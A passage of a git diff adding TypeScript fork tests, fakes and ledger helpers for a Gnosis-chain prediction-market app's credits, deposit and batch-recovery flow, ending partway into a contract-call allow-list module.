); + + /** Raises sDAI's rate the way interest landing in the vault does: WXDAI paid in with no shares minted. */ + async function payVaultInterest(xdai: bigint) { + await rpc("hardhat_impersonateAccount", [CREDITS_GOVERNOR]); + try { + for (const call of [ + { to: route.wxdai, data: encodeFunctionData({ abi: WXDAI_DEPOSIT_ABI, functionName: "deposit" }), value: xdai }, + { + to: route.wxdai, + data: encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [session.collateralToken, xdai] }), + value: 0n, + }, + ]) { + const hash = await wallet.sendTransaction({ account: CREDITS_GOVERNOR, chain: gnosis, ...call }); + const receipt = await client.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error("paying the vault's interest reverted"); + } + } finally { + await rpc("hardhat_stopImpersonatingAccount", [CREDITS_GOVERNOR]); + } + } + + it.skipIf(!FORK_RPC_URL)( + "a credits batch lands when the vault's rate rises between its quote and its send", + async () => { + let previewBefore = 0n; + let previewAfter = 0n; + const preview = () => + client.readContract({ + address: session.collateralToken, + abi: VAULT_ABI, + functionName: "previewDeposit", + args: [parseEther("5")], + }); + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("40"), + walletCollateral: parseEther("100"), + credits: { wallet: parseEther("5") }, + options: nudged(1), + beforeBatch: async () => { + previewBefore = await preview(); + await payVaultInterest(parseEther("100")); + previewAfter = await preview(); + }, + }); + expect(previewAfter, "the vault's rate rose before the send").toBeLessThan(previewBefore); + expect(run.progress.stage, JSON.stringify(run.progress.failure)).toBe("complete"); + expect(landedBatches(run)).toHaveLength(1); + await expectMoneyKept(run); + }, + 600_000, + ); + + for (const closeTab of ["before-batch", "after-batch"] as const) { + it.skipIf(!FORK_RPC_URL)( + `a tab closed ${closeTab === "before-batch" ? "after Add credits" : "as the first batch landed"} moves and spends the credits once on reload (A7)`, + async () => { + // enough to sell DOWN to a NUDGE-away estimate at the forked pools' depth + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("40"), + walletCollateral: parseEther("50"), + credits: { wallet: parseEther("5") }, + options: nudged(1), + closeTab, + }); + expect(run.request).toMatchObject({ creditsFromEoa: parseEther("5"), creditsToSpend: parseEther("5") }); + if (closeTab === "after-batch") + expect(run.tabClosed, "the tab closed before the batch's hash came back").toBe(true); + else expect(run.progress.stage).toBe("halted"); + expect(await balance(route.token, run.ctx.executor), "the trade wallet's credits as the tab closed").toBe( + closeTab === "before-batch" ? parseEther("5") : 0n, + ); + + const reloaded = run.reopen(); + reloaded.recover(); + await vi.waitFor(() => expect(["review", "halted"]).toContain(reloaded.getProgress().stage), { + timeout: 60_000, + interval: 250, + }); + expect(reloaded.getProgress().stage, JSON.stringify(reloaded.getProgress().failure)).toBe("review"); + const sentBefore = run.sent.length; + reloaded.resume(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(reloaded.getProgress().stage), { + timeout: 300_000, + interval: 250, + }); + if (closeTab === "before-batch") { + // the batch's prompt closed with the tab unanswered, so it is signed only once the hold passes and the visitor says so + expect(reloaded.getProgress().failure?.reason).toBe("held"); + run.passHold(); + reloaded.retry(); + await vi.waitFor(() => expect(reloaded.getProgress().failure?.reason).toBe("resign"), { timeout: 60_000 }); + reloaded.retry(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(reloaded.getProgress().stage), { + timeout: 300_000, + interval: 250, + }); + } + + const transfers = run.sent.filter(({ tx }) => tx.to.toLowerCase() === route.token.toLowerCase()); + expect(transfers, "the credits moved once").toHaveLength(1); + expect(landedBatches(run), "the first batch landed once").toHaveLength(1); + if (closeTab === "after-batch") expect(run.sent.length, "nothing signed on reload").toBe(sentBefore); + await expectMoneyKept({ + ...run, + after: await readLedger(client, SCOPE_TOKENS(run)), + progress: reloaded.getProgress(), + }); + reloaded.dispose(); + }, + 900_000, + ); + } + + /** The sDAI a batch splits at the session's parent market. */ + const parentSplitOf = (data: Hex) => + batchCalls(data) + .filter((call) => call.to.toLowerCase() === app.gnosisRouterAddress(CHAIN_ID)!.toLowerCase()) + .map((call) => decodeFunctionData({ abi: app.gnosisRouterAbi, data: call.data })) + .filter( + (call) => + call.functionName === "splitPosition" && call.args[1].toLowerCase() === session.parentMarket.toLowerCase(), + ) + .reduce((sum, call) => sum + (call.args[2] as bigint), 0n); + + /** A reload of the tab the run left behind, its recovery waited out to review or a halt. */ + async function reloadAndResume(run: ScenarioRun) { + const reloaded = run.reopen(); + reloaded.recover(); + await vi.waitFor(() => expect(["review", "halted"]).toContain(reloaded.getProgress().stage), { + timeout: 60_000, + interval: 250, + }); + return reloaded; + } + + const settledRun = (driver: ScenarioRun["driver"]) => + vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage), { + timeout: 300_000, + interval: 250, + }); + + it.skipIf(!FORK_RPC_URL)( + "credits withdrawn while a run closed before its first batch sat unfinished are not read as a placed prediction", + async () => { + const key = nextKey(); + const owner = privateKeyToAccount(key); + const run = await runScenario({ + key, + pay: "collateral", + amount: parseEther("12"), + walletCollateral: parseEther("50"), + credits: { wallet: parseEther("5") }, + options: nudged(1), + closeTab: "before-batch", + }); + const executor = run.ctx.executor; + expect(await balance(route.token, executor)).toBe(parseEther("5")); + + // the owner takes the credits back from the Withdraw list + const withdraw = app.withdrawTx({ + executor, + recipient: owner.address, + assets: [{ token: route.token, amount: parseEther("5") }], + }); + await sendFrom(owner, withdraw.to, withdraw.data!); + expect(await balance(route.token, executor)).toBe(0n); + + const reloaded = await reloadAndResume(run); + expect(reloaded.getProgress().stage, JSON.stringify(reloaded.getProgress().failure)).toBe("review"); + reloaded.resume(); + await settledRun(reloaded); + + expect(landedBatches(run), "no batch landed").toHaveLength(0); + expect(reloaded.getProgress().stage, "a prediction reported placed with no batch on chain").not.toBe("complete"); + // the deposit waits in the trade wallet, owner-withdrawable + expect(await balance(session.collateralToken, executor)).toBe(run.request.deposit); + reloaded.dispose(); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "an xDAI run closed at its deposit splits only what its own deposit minted, whatever else reached the trade wallet", + async () => { + const key = nextKey(); + const owner = privateKeyToAccount(key); + const run = await runScenario({ + key, + pay: "native", + amount: parseEther("10"), + walletCollateral: parseEther("60"), + options: nudged(1), + closeTab: "before-deposit", + }); + expect(run.progress.stage).toBe("halted"); + const executor = run.ctx.executor; + const parked = await balance(session.collateralToken, executor); + + // the owner then moves 40 sDAI into the trade wallet, as the Trade wallet panel's deposit does + await sendFrom( + owner, + session.collateralToken, + encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [executor, parseEther("40")] }), + ); + + const reloaded = await reloadAndResume(run); + // the deposit's own transaction is not on chain, so it may still be confirming + expect(reloaded.getProgress().failure?.reason).toBe("deposit-unconfirmed"); + const shown = reloaded.getProgress().recovered!.collateralIn; + reloaded.retry(); + await settledRun(reloaded); + expect(reloaded.getProgress().stage, JSON.stringify(reloaded.getProgress().failure)).toBe("complete"); + + const deposits = run.sent.filter(({ tx }) => tx.to.toLowerCase() === run.ctx.sDaiAdapter!.toLowerCase()); + expect(deposits, "the deposit signed once").toHaveLength(1); + const minted = await (async () => { + const logs = parseEventLogs({ abi: erc20Abi, eventName: "Transfer", logs: deposits[0]!.receipt.logs }); + return logs + .filter( + (log) => + log.address.toLowerCase() === session.collateralToken.toLowerCase() && + log.args.to.toLowerCase() === executor.toLowerCase(), + ) + .reduce((sum, log) => sum + log.args.value, 0n); + })(); + const [batch] = landedBatches(run); + const split = parentSplitOf(batch!.tx.data!); + expect(split, "the split is what the deposit minted").toBe(minted + run.request.collateralBefore); + expect(split, `split ${split} against the ${shown} sDAI shown`).toBeLessThanOrEqual(shown + DUST_WEI); + expect(await balance(session.collateralToken, executor), "the other sDAI stays in the trade wallet").toBe( + parked + parseEther("40"), + ); + reloaded.dispose(); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "an xDAI run closed as its deposit landed is resumed without a second deposit, splitting what that deposit minted", + async () => { + const key = nextKey(); + const owner = privateKeyToAccount(key); + const run = await runScenario({ + key, + pay: "native", + amount: parseEther("10"), + walletCollateral: parseEther("60"), + options: nudged(1), + closeTab: "after-deposit", + }); + expect(run.tabClosed, "the tab closed before the deposit's hash came back").toBe(true); + const executor = run.ctx.executor; + const deposits = () => run.sent.filter(({ tx }) => tx.to.toLowerCase() === run.ctx.sDaiAdapter!.toLowerCase()); + expect(deposits(), "the deposit landed as the tab closed").toHaveLength(1); + + // more sDAI reaches the trade wallet before the reload, as the Trade wallet panel's deposit does + await sendFrom( + owner, + session.collateralToken, + encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [executor, parseEther("40")] }), + ); + + const reloaded = await reloadAndResume(run); + expect(reloaded.getProgress().stage, JSON.stringify(reloaded.getProgress().failure)).toBe("review"); + reloaded.resume(); + await settledRun(reloaded); + expect(reloaded.getProgress().stage, JSON.stringify(reloaded.getProgress().failure)).toBe("complete"); + + expect(deposits(), "no second deposit signed").toHaveLength(1); + const minted = parseEventLogs({ abi: erc20Abi, eventName: "Transfer", logs: deposits()[0]!.receipt.logs }) + .filter( + (log) => + log.address.toLowerCase() === session.collateralToken.toLowerCase() && + log.args.to.toLowerCase() === executor.toLowerCase(), + ) + .reduce((sum, log) => sum + log.args.value, 0n); + const [batch] = landedBatches(run); + expect(parentSplitOf(batch!.tx.data!), "the split is what the deposit minted").toBe( + minted + run.request.collateralBefore, + ); + reloaded.dispose(); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "an xDAI run whose first batch the wallet never answers completes from the batch the chain mined", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "native", + amount: parseEther("1080"), + options: nudged(2), + lostAnswer: { lagMs: 1_500 }, + }); + + expect(run.progress.failure, "a batch the chain mined was reported failed").toBeUndefined(); + expect(landedBatches(run)).toHaveLength(1); + await expectMoneyKept(run); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "Try the rest after a first batch the wallet never answered, once it mined, completes from that batch, signing nothing again", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "native", + amount: parseEther("1080"), + options: nudged(2), + // mined after the run stopped reading for it + lostAnswer: { lagMs: 1_500, waitMs: 300 }, + }); + expect(run.progress.stage).toBe("halted"); + expect(landedBatches(run), "the batch mined after the run stopped").toHaveLength(1); + + run.driver.retry(); + await settledRun(run.driver); + const progress = run.driver.getProgress(); + + expect(progress.stage, JSON.stringify(progress.failure)).toBe("complete"); + expect(landedBatches(run), "Try the rest signed the batch again").toHaveLength(1); + await expectMoneyKept({ ...run, progress, after: await readLedger(client, SCOPE_TOKENS(run)) }); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "many options at once, some already at their estimate, lands each one moved and names each left out", + async () => { + const run = await runScenario({ + key: nextKey(), + pay: "collateral", + amount: parseEther("120"), + walletCollateral: parseEther("200"), + credits: { wallet: parseEther("20") }, + options: (children) => + children.slice(0, 5).map(({ child, up }, index) => asOption(child, index % 2 === 0 ? up + NUDGE : up)), + }); + const stays = run.options.filter((_, index) => index % 2 === 1).map((each) => each.childMarket.toLowerCase()); + // an estimate at the UP price can still leave the DOWN pool to move, so only those may be left out + for (const market of run.progress.leftOut) expect(stays).toContain(market.toLowerCase()); + await expectMoneyKept(run); + }, + 900_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "a returning predictor's second run trades from the positions the first left, and keeps the money", + async () => { + const key = nextKey(); + const first = await runScenario({ + key, + pay: "collateral", + amount: parseEther("30"), + walletCollateral: parseEther("100"), + credits: { wallet: parseEther("5") }, + options: nudged(1), + }); + await expectMoneyKept(first); + + const second = await runScenario({ + key, + pay: "collateral", + amount: parseEther("20"), + credits: { wallet: parseEther("5") }, + options: (children) => { + const target = first.options[0]!; + const now = children.find(({ child }) => child.id === target.childMarket); + if (!now) throw new Error("The first run's option left the roomy band."); + return [asOption(now.child, now.up - NUDGE * 2n)]; + }, + }); + const held = second.before.tokens.get(second.ctx.executor)!; + expect(held.get(first.options[0]!.upToken)! + held.get(first.options[0]!.downToken)!).toBeGreaterThan(0n); + await expectMoneyKept(second); + }, + 900_000, + ); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/support/fakes.ts b/apps/web/src/features/predict/flow/__tests__/support/fakes.ts new file mode 100644 index 00000000..3950a6dd --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/support/fakes.ts @@ -0,0 +1,349 @@ +import type { FlowTx } from "@foresight/tx-orchestrator"; +import { + encodeAbiParameters, + encodeEventTopics, + encodeFunctionData, + erc20Abi, + zeroAddress, + type Address, + type Log, +} from "viem"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; +import { + NoSwapRouteError, + type ExactInputQuoter, + type ExactInputRequest, + type SwapQuote, + type SwapQuoteRequest, + type SwapQuoter, +} from "@/lib/swap/types"; + +import { CREDITS_SLIPPAGE_BPS, SLIPPAGE_BPS } from "../../../oracle/tolerances"; +import { swapToward } from "../../../utils/poolMath"; +import { batchGas, BATCH_GAS_SHARE_BPS } from "../../plan"; +import type { + GasEstimateTx, + LandedTx, + OptionChainState, + PredictCtx, + PredictOption, + PredictReader, + PredictSnapshot, +} from "../../types"; + +/** Sqrt prices exact at X96, so a volume to target is a round number. */ +export const AT = { "0.25": 2n ** 95n, "1": 2n ** 96n } as const; + +export const WAD = 10n ** 18n; +/** Deep enough that a leg is sized by the budget rather than by the pool. */ +export const DEEP = 10n ** 30n; + +export const addresses = { + owner: "0x0000000000000000000000000000000000000001" as Address, + executor: "0x0000000000000000000000000000000000000002" as Address, + factory: "0x28e3afBdF711755c4400e3d7F74Df5d3cc9C369C" as Address, + router: "0xeC9048b59b3467415b1a38F63416407eA0c70fB8" as Address, + collateral: "0x0000000000000000000000000000000000000005" as Address, + parentMarket: "0x0000000000000000000000000000000000000006" as Address, + sDaiAdapter: "0xD499b51fcFc66bd31248ef4b28d656d67E591A94" as Address, + swapRouter: "0xfFB643E73f280B97809A8b41f7232AB401a04ee1" as Address, + credits: "0x09E7014D2c15Eb8C5ee25853FE6842FF5E2c94f9" as Address, + manager: "0x17592eFE59a318A6B0AFE32145ee04eAFeeA8A61" as Address, + wxdai: "0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d" as Address, +} as const; + +export const ctx = (overrides: Partial = {}): PredictCtx => ({ + chainId: 100, + owner: addresses.owner, + executor: addresses.executor, + factory: addresses.factory, + router: addresses.router, + collateral: addresses.collateral, + parentMarket: addresses.parentMarket, + sDaiAdapter: addresses.sDaiAdapter, + credits: { + token: addresses.credits, + manager: addresses.manager, + wxdai: addresses.wxdai, + swaprRouter: addresses.swapRouter, + }, + ...overrides, +}); + +/** Option `index`, with tokens whose addresses say which option and which side they are. */ +export function option(index: number, targetPriceWad = WAD / 4n): PredictOption { + const at = (slot: number) => `0x${String(index).padStart(2, "0")}${String(slot).repeat(38)}` as Address; + return { + childMarket: at(1), + underlying: at(2), + upToken: at(3), + downToken: at(4), + invalidToken: at(5), + targetPriceWad, + }; +} + +/** UP above its target so it sells, DOWN below its target so it buys. */ +export const chainState = (overrides: Partial = {}): OptionChainState => ({ + pools: { + // shallow, so the sell stops at the target with pairs still in hand for the merge + up: { sqrtPriceX96: AT["1"], liquidity: WAD / 2n, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + down: { sqrtPriceX96: AT["0.25"], liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + }, + held: { up: 0n, down: 0n, invalid: 0n }, + underlying: 0n, + ...overrides, +}); + +export const snapshot = (overrides: Partial = {}): PredictSnapshot => ({ + options: [option(1)], + deposit: WAD, + depositNative: false, + collateralIn: WAD, + collateralBefore: 0n, + collateralAtStart: 0n, + creditsFromEoa: 0n, + creditsToSpend: 0n, + creditsAtStart: 0n, + fromBlock: 1n, + startedAt: 1_700_000_000, + slippage: { tradeBps: SLIPPAGE_BPS, creditsBps: CREDITS_SLIPPAGE_BPS }, + optionsPerBatch: 10, + ...overrides, +}); + +export interface FakeReader extends PredictReader { + /** Every `optionStates` call, so a test can see what a build asked for. */ + readonly asked: Array<{ options: PredictOption[]; executor: Address }>; + /** Every transaction the node was asked to estimate. */ + readonly estimated: GasEstimateTx[]; +} + +/** A block gas limit whose batch budget holds exactly `options` options, with or without the credits leg. */ +export const gasLimitFor = (options: number): bigint => (batchGas(options, true) * 10_000n) / BATCH_GAS_SHARE_BPS; + +/** 1.25 xDAI per sDAI share, the fakes' vault rate. */ +export const VAULT_RATE = (WAD * 5n) / 4n; + +export function fakeReader( + opts: { + deployed?: boolean; + collateral?: bigint; + state?: (option: PredictOption) => OptionChainState; + /** Credits per holder; a function reads a balance that changes as a test's chain moves. */ + credits?: Partial> | ((holder: Address) => bigint); + /** The credits manager's collateral, 1000 by default. */ + manager?: bigint | (() => bigint); + /** The owner's transactions the chain shows landed; a function reads a ledger that grows. */ + landed?: LandedTx[] | (() => LandedTx[]); + /** True while the owner has a transaction broadcast and not mined. */ + pending?: () => boolean; + /** The latest block's gas limit, Gnosis' 17M by default. */ + blockGasLimit?: bigint; + /** What the node estimates a transaction at; by default it cannot estimate one. */ + estimateGas?: (tx: GasEstimateTx) => Promise; + } = {}, +): FakeReader { + const asked: FakeReader["asked"] = []; + const estimated: FakeReader["estimated"] = []; + const credits = opts.credits; + const manager = opts.manager; + + return { + asked, + estimated, + estimateGas: (tx) => { + estimated.push(tx); + return opts.estimateGas ? opts.estimateGas(tx) : Promise.reject(new Error("execution reverted")); + }, + isExecutorDeployed: () => Promise.resolve(opts.deployed ?? false), + collateralBalance: () => Promise.resolve(opts.collateral ?? 0n), + creditsBalance: (holder) => + Promise.resolve(typeof credits === "function" ? credits(holder) : (credits?.[holder] ?? 0n)), + managerCollateral: () => Promise.resolve(typeof manager === "function" ? manager() : (manager ?? 1000n * WAD)), + previewDeposit: (assets) => Promise.resolve((assets * WAD) / VAULT_RATE), + vaultValue: (shares) => Promise.resolve((shares * VAULT_RATE) / WAD), + latestBlock: () => Promise.resolve(1n), + latestTimestamp: () => Promise.resolve(0n), + blockGasLimit: () => Promise.resolve(opts.blockGasLimit ?? 17_000_000n), + landedSince: () => Promise.resolve(typeof opts.landed === "function" ? opts.landed() : (opts.landed ?? [])), + hasPending: () => Promise.resolve(opts.pending?.() ?? false), + nextNonce: () => Promise.resolve(0), + sentWithNonce: () => Promise.resolve({ status: "none" }), + optionStates: (args) => { + asked.push(args); + return Promise.resolve(args.options.map((each) => opts.state?.(each) ?? chainState())); + }, + }; +} + +export interface FakeQuoter extends SwapQuoter { + readonly requests: SwapQuoteRequest[]; +} + +/** + * Pays out half of what goes in, as Swapr's `exactInputSingle` with the request's recipient and limit, as the + * Lens quoter signs it; the calldata names the pair, so a test can tell one leg's swap from another's. + */ +export function fakeQuoter(opts: { refuse?: (request: SwapQuoteRequest) => boolean } = {}): FakeQuoter { + const requests: SwapQuoteRequest[] = []; + + return { + requests, + quote: (request) => { + requests.push(request); + if (opts.refuse?.(request)) return Promise.reject(new NoSwapRouteError("No route.")); + + const quote: SwapQuote = { + amountIn: request.amount, + amountOut: request.amount / 2n, + router: addresses.swapRouter, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: request.tokenIn, + tokenOut: request.tokenOut, + recipient: request.recipient, + deadline: 1_700_001_800n, + amountIn: request.amount, + amountOutMinimum: request.amount / 2n, + limitSqrtPrice: request.limitSqrtPrice, + }, + ], + }), + value: 0n, + }; + return Promise.resolve(quote); + }, + }; +} + +/** + * Prices each leg of `options` by the pool maths the popup's preview uses, against the pools `state` + * gives when the quote is asked, so a quote agrees with a plan shown from the same pools. + */ +export function poolQuoter( + options: readonly PredictOption[] | (() => readonly PredictOption[]), + state: (option: PredictOption) => OptionChainState = () => chainState(), +): FakeQuoter { + const requests: SwapQuoteRequest[] = []; + return { + requests, + quote: (request) => { + requests.push(request); + const tokens = [request.tokenIn, request.tokenOut]; + const option = (typeof options === "function" ? options() : options).find( + (each) => tokens.includes(each.upToken) || tokens.includes(each.downToken), + ); + if (!option) return Promise.reject(new NoSwapRouteError("No pool.")); + const side = tokens.includes(option.upToken) ? "up" : "down"; + const target = side === "up" ? option.targetPriceWad : WAD - option.targetPriceWad; + const { amountOut } = swapToward(state(option).pools[side], target, request.amount); + return Promise.resolve({ + amountIn: request.amount, + amountOut, + router: addresses.swapRouter, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: request.tokenIn, + tokenOut: request.tokenOut, + recipient: request.recipient, + deadline: 1_700_001_800n, + amountIn: request.amount, + amountOutMinimum: amountOut, + limitSqrtPrice: request.limitSqrtPrice, + }, + ], + }), + value: 0n, + }); + }, + }; +} + +/** Sends each quote for `target`'s tokens to `quoter`, and every other quote to `rest`. */ +export function quoterFor(target: PredictOption, quoter: SwapQuoter, rest: SwapQuoter): SwapQuoter { + const tokens = [target.underlying, target.upToken, target.downToken]; + return { + quote: (request) => + tokens.includes(request.tokenIn) || tokens.includes(request.tokenOut) + ? quoter.quote(request) + : rest.quote(request), + }; +} + +export { ALGEBRA_ROUTER_ABI }; + +export interface FakeExactInputQuoter extends ExactInputQuoter { + readonly requests: ExactInputRequest[]; +} + +/** + * Swaps at the vault rate less `lossBps`, through `router`, encoding the request as Swapr's + * `exactInputSingle` with no minimum and no limit, as Lens does. + */ +export function fakeCreditsQuoter( + opts: { + /** A function reads a loss that changes as a test's pool moves. */ + lossBps?: bigint | (() => bigint); + router?: Address; + recipient?: Address; + refuse?: boolean; + } = {}, +): FakeExactInputQuoter { + const requests: ExactInputRequest[] = []; + return { + requests, + quote: (request) => { + requests.push(request); + if (opts.refuse) return Promise.reject(new NoSwapRouteError("No route.")); + const lossBps = typeof opts.lossBps === "function" ? opts.lossBps() : (opts.lossBps ?? 5n); + const amountOut = (((request.amount * VAULT_RATE) / WAD) * (10_000n - lossBps)) / 10_000n; + return Promise.resolve({ + amountOut, + router: opts.router ?? addresses.swapRouter, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: request.tokenIn, + tokenOut: request.tokenOut, + recipient: opts.recipient ?? request.recipient, + deadline: 1_700_001_800n, + amountIn: request.amount, + amountOutMinimum: 0n, + limitSqrtPrice: 0n, + }, + ], + }), + }); + }, + }; +} + +/** `tx` as the chain shows it once landed, with the collateral it moved into the trade wallet. */ +export const landedTx = (tx: FlowTx, collateralReceived = 0n): LandedTx => ({ + to: tx.to, + value: tx.value ?? 0n, + input: tx.data ?? "0x", + collateralReceived, +}); + +/** The collateral `Transfer` an xDAI deposit's receipt carries, minting `amount` to the trade wallet. */ +export const mintLog = (amount: bigint): Log => + ({ + address: addresses.collateral, + topics: encodeEventTopics({ + abi: erc20Abi, + eventName: "Transfer", + args: { from: zeroAddress, to: addresses.executor }, + }), + data: encodeAbiParameters([{ type: "uint256" }], [amount]), + }) as unknown as Log; diff --git a/apps/web/src/features/predict/flow/__tests__/support/ledger.ts b/apps/web/src/features/predict/flow/__tests__/support/ledger.ts new file mode 100644 index 00000000..b082c1e6 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/support/ledger.ts @@ -0,0 +1,183 @@ +import { + decodeFunctionData, + erc20Abi, + isAddressEqual, + parseAbi, + parseEventLogs, + type Address, + type Hex, + type PublicClient, + type TransactionReceipt, +} from "viem"; + +import type { PredictOption } from "../../types"; + +const GNOSIS_ROUTER_ABI = parseAbi([ + "function splitPosition(address collateralToken, address market, uint256 amount)", + "function mergePositions(address collateralToken, address market, uint256 amount)", + "function splitFromBase(address market) payable", +]); + +/** + * Every balance a predict run can move, read for the owner, the trade wallet and the contracts + * that only route money, so a run's effect is the difference of two readings. + */ +export interface LedgerScope { + owner: Address; + executor: Address; + /** The credits manager, whose collateral the credits spend. */ + manager: Address; + /** Contracts that pass money on and must hold none of it afterwards. */ + passThrough: Address[]; + collateral: Address; + wxdai: Address; + credits: Address; + options: PredictOption[]; +} + +export interface Ledger { + block: bigint; + native: Map; + /** holder → token → balance */ + tokens: Map>; + creditsSupply: bigint; +} + +const holdersOf = (scope: LedgerScope) => [scope.owner, scope.executor, scope.manager, ...scope.passThrough]; + +export const tokensOf = (scope: LedgerScope): Address[] => [ + scope.collateral, + scope.wxdai, + scope.credits, + ...scope.options.flatMap((option) => [option.underlying, option.upToken, option.downToken, option.invalidToken]), +]; + +export async function readLedger(client: PublicClient, scope: LedgerScope, block?: bigint): Promise { + const blockNumber = block ?? (await client.getBlockNumber({ cacheTime: 0 })); + const holders = holdersOf(scope); + const tokens = tokensOf(scope); + const at = { blockNumber }; + + const native = new Map(); + const held = new Map>(); + for (const holder of holders) { + native.set(holder, await client.getBalance({ address: holder, ...at })); + const row = new Map(); + for (const token of tokens) { + row.set( + token, + await client.readContract({ address: token, abi: erc20Abi, functionName: "balanceOf", args: [holder], ...at }), + ); + } + held.set(holder, row); + } + const creditsSupply = await client.readContract({ + address: scope.credits, + abi: erc20Abi, + functionName: "totalSupply", + ...at, + }); + return { block: blockNumber, native, tokens: held, creditsSupply }; +} + +/** after − before of `holder`'s `token`; `native` for the gas token. */ +export function moved(before: Ledger, after: Ledger, holder: Address, token: Address | "native"): bigint { + if (token === "native") return (after.native.get(holder) ?? 0n) - (before.native.get(holder) ?? 0n); + return (after.tokens.get(holder)?.get(token) ?? 0n) - (before.tokens.get(holder)?.get(token) ?? 0n); +} + +/** Native the owner paid for gas across `receipts`. */ +export const gasPaid = (receipts: TransactionReceipt[]) => + receipts.reduce((sum, receipt) => sum + receipt.gasUsed * receipt.effectiveGasPrice, 0n); + +const TRANSFER = parseAbi(["event Transfer(address indexed from, address indexed to, uint256 value)"]); + +/** + * The ERC-20 recipients across `receipts` that are neither the owner, the trade wallet, the zero + * address nor a contract: money the run sent to an outside account. + */ +export async function outsideRecipients( + client: PublicClient, + receipts: TransactionReceipt[], + scope: Pick, +): Promise { + const recipients = new Set
    (); + for (const receipt of receipts) { + for (const log of parseEventLogs({ abi: TRANSFER, eventName: "Transfer", logs: receipt.logs })) { + recipients.add(log.args.to); + } + } + const outside: Address[] = []; + for (const to of recipients) { + if (isAddressEqual(to, scope.owner) || isAddressEqual(to, scope.executor) || BigInt(to) === 0n) continue; + const code = await client.getCode({ address: to }); + if (!code || code === "0x") outside.push(to); + } + return outside; +} + +export const ALGEBRA_SWAP_ABI = parseAbi([ + "function exactInputSingle((address tokenIn, address tokenOut, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 limitSqrtPrice) params) payable returns (uint256 amountOut)", +]); + +/** One option's legs as a batch signs them. */ +export interface SignedOption { + childSplit: bigint; + merge: bigint; + /** lower-case token → what the legs give in and the least they take out */ + sold: Map; + boughtAtLeast: Map; + legInputs: { tokenIn: Address; amountIn: bigint; pool: "up" | "down" }[]; +} + +const lower = (address: Address) => address.toLowerCase() as Address; + +/** What a batch's calls sign for each option: its child split, its merge, and each swap leg. */ +export function signedOptions( + calls: readonly { to: Address; data: Hex }[], + options: PredictOption[], + routers: { gnosisRouter: Address; swaprRouter: Address }, +): Map { + const out = new Map(); + const ofToken = (token: Address) => + options.find((option) => + [option.underlying, option.upToken, option.downToken].some((each) => isAddressEqual(each, token)), + ); + const row = (option: PredictOption) => { + let entry = out.get(option.childMarket); + if (!entry) { + entry = { childSplit: 0n, merge: 0n, sold: new Map(), boughtAtLeast: new Map(), legInputs: [] }; + out.set(option.childMarket, entry); + } + return entry; + }; + + for (const call of calls) { + if (isAddressEqual(call.to, routers.gnosisRouter)) { + const decoded = decodeFunctionData({ abi: GNOSIS_ROUTER_ABI, data: call.data }); + if (decoded.functionName === "splitFromBase") continue; + const [, market, amount] = decoded.args; + const option = options.find((each) => isAddressEqual(each.childMarket, market)); + if (!option) continue; + if (decoded.functionName === "splitPosition") row(option).childSplit += amount; + if (decoded.functionName === "mergePositions") row(option).merge += amount; + continue; + } + if (!isAddressEqual(call.to, routers.swaprRouter)) continue; + const [params] = decodeFunctionData({ abi: ALGEBRA_SWAP_ABI, data: call.data }).args; + const option = ofToken(params.tokenIn) ?? ofToken(params.tokenOut); + if (!option) continue; + const entry = row(option); + const outcomeIn = !isAddressEqual(params.tokenIn, option.underlying); + const [tokenIn, tokenOut] = [lower(params.tokenIn), lower(params.tokenOut)]; + entry.sold.set(tokenIn, (entry.sold.get(tokenIn) ?? 0n) + params.amountIn); + entry.boughtAtLeast.set(tokenOut, (entry.boughtAtLeast.get(tokenOut) ?? 0n) + params.amountOutMinimum); + const outcome = outcomeIn ? params.tokenIn : params.tokenOut; + entry.legInputs.push({ + tokenIn: params.tokenIn, + amountIn: params.amountIn, + pool: isAddressEqual(outcome, option.upToken) ? "up" : "down", + }); + } + return out; +} diff --git a/apps/web/src/features/predict/flow/allowed.ts b/apps/web/src/features/predict/flow/allowed.ts new file mode 100644 index 00000000..8b011cba --- /dev/null +++ b/apps/web/src/features/predict/flow/allowed.ts @@ -0,0 +1,150 @@ +import type { FlowTx } from "@foresight/tx-orchestrator"; +import { decodeFunctionData, isAddressEqual, parseAbi, slice, type Address, type Hex } from "viem"; + +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +import type { PredictCtx, PredictOption } from "./types"; +import { PREDICT_ALLOW_LIST, type PredictAllowList } from "../oracle/allowlist"; + +const DEPOSIT_XDAI_ABI = parseAbi(["function depositXDAI(address receiver) payable"]); +const WXDAI_ABI = parseAbi(["function withdraw(uint256 wad)"]); +const TRANSFER_ABI = parseAbi(["function transfer(address to, uint256 amount)"]); +const APPROVE_ABI = parseAbi(["function approve(address spender, uint256 